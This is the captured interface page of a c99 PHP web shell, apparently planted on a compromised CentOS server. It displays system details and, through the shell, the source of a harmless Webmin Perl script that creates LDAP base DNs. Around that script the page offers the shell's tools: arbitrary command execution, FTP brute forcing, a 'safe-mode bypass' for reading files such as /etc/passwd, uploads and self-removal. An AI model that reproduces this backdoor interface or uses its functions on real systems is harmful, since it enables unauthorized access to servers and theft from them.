!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/ldap-server/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     create.cgi (2.68 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Actually create a new base DN

require './ldap-server-lib.pl';
&ReadParse();
&error_setup($text{'create_err'});
$access{'create'} || &error($text{'create_ecannot'});
$ldap = &connect_ldap_db();
ref($ldap) || &error($ldap);

# Validate inputs
if ($in{'mode'} == 0) {
    $in{'domain'} =~ /^[a-z0-9\.\-]+$/ || &error($text{'create_edom'});
    @p = split(/\./, $in{'domain'});
    $dn = join(", ", map { "dc=$_" } @p);
    }
else {
    $in{'dn'} =~ /^\S+=\S+/ || &error($text{'create_edn'});
    $dn = $in{'dn'};
    }

# Work out class for the DN
$schema = $ldap->schema();
@allocs = map { $_->{'name'} }
       grep { $_->{'structural'} }
        $schema->all_objectclasses();
@ocs = ( );
foreach my $poc ("top", "domain") {
    if (&indexof($poc, @allocs) >= 0) {
        push(@ocs, $poc);
        }
    }
@ocs || &error(&text('create_eoc'));

# Do it, while showing the user
&ui_print_unbuffered_header(undef, $text{'create_title'}, "");

# Create the DN
print &text('create_doingdn', "<tt>".&html_escape($dn)."</tt>"),"<br>\n";
@attrs = ( "objectClass", \@ocs );
if (&indexof("domain", @ocs) >= 0) {
    # Domain class needs dc
    if ($dn =~ /^([^=]+)=([^, ]+)/) {
        push(@attrs, $1, $2);
        }
    }
$rv = $ldap->add($dn, attr => \@attrs);
if (!$rv || $rv->code) {
    print &text('create_edoingdn', &ldap_error($rv)),"<p>\n";
    }
else {
    print $text{'create_done'},"<p>\n";
    $ok = 1;
    }

if ($ok && $in{'example'}) {
    # Add the example user/alias
    if ($in{'example'} == 1 || $in{'example'} == 2) {
        # User
        $edn = "uid=example, ".$dn;
        @attrs = ( "cn", "Example user",
               "sn", "Example user",
               "uid", "example",
               "uidNumber", 9999,
               "gidNumber", 9999,
               "loginShell", "/bin/sh",
               "homeDirectory", "/home/example",
               "objectClass", [ "posixAccount", "person" ],
               "userPassword", "*LK*" );
        if ($in{'example'} == 2) {
            # With mail
            push(@attrs, "mail", "example\@example.com");
            }
        }
    elsif ($in{'example'} == 3) {
        # Virtuser
        # XXX not sure about these .. is there any standard?
        $edn = "cn=example\@example.com, ".$dn;
        @attrs = ( "mail", "example\@example.com",
               "mailForwardingAddress", "example\@somewhere.com",
               "objectClass", [ "top" ] );
        }
    elsif ($in{'example'} == 4) {
        # Unix group
        $edn = "cn=example, ".$dn;
        @attrs = ( "cn", "example",
               "gidNumber", 9999,
               "memberUid", "example",
               "objectClass", [ "posixGroup" ] );
        }

    print &text('create_doingex',
            "<tt>".&html_escape($edn)."</tt>"),"<br>\n";
    $rv = $ldap->add($edn, attr => \@attrs);
    if (!$rv || $rv->code) {
        print &text('create_edoingex', &ldap_error($rv)),"<p>\n";
        }
    else {
        print $text{'create_done'},"<p>\n";
        }
    }

if ($ok) {
    &webmin_log("create", undef, $dn);
    }
&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.01 ]--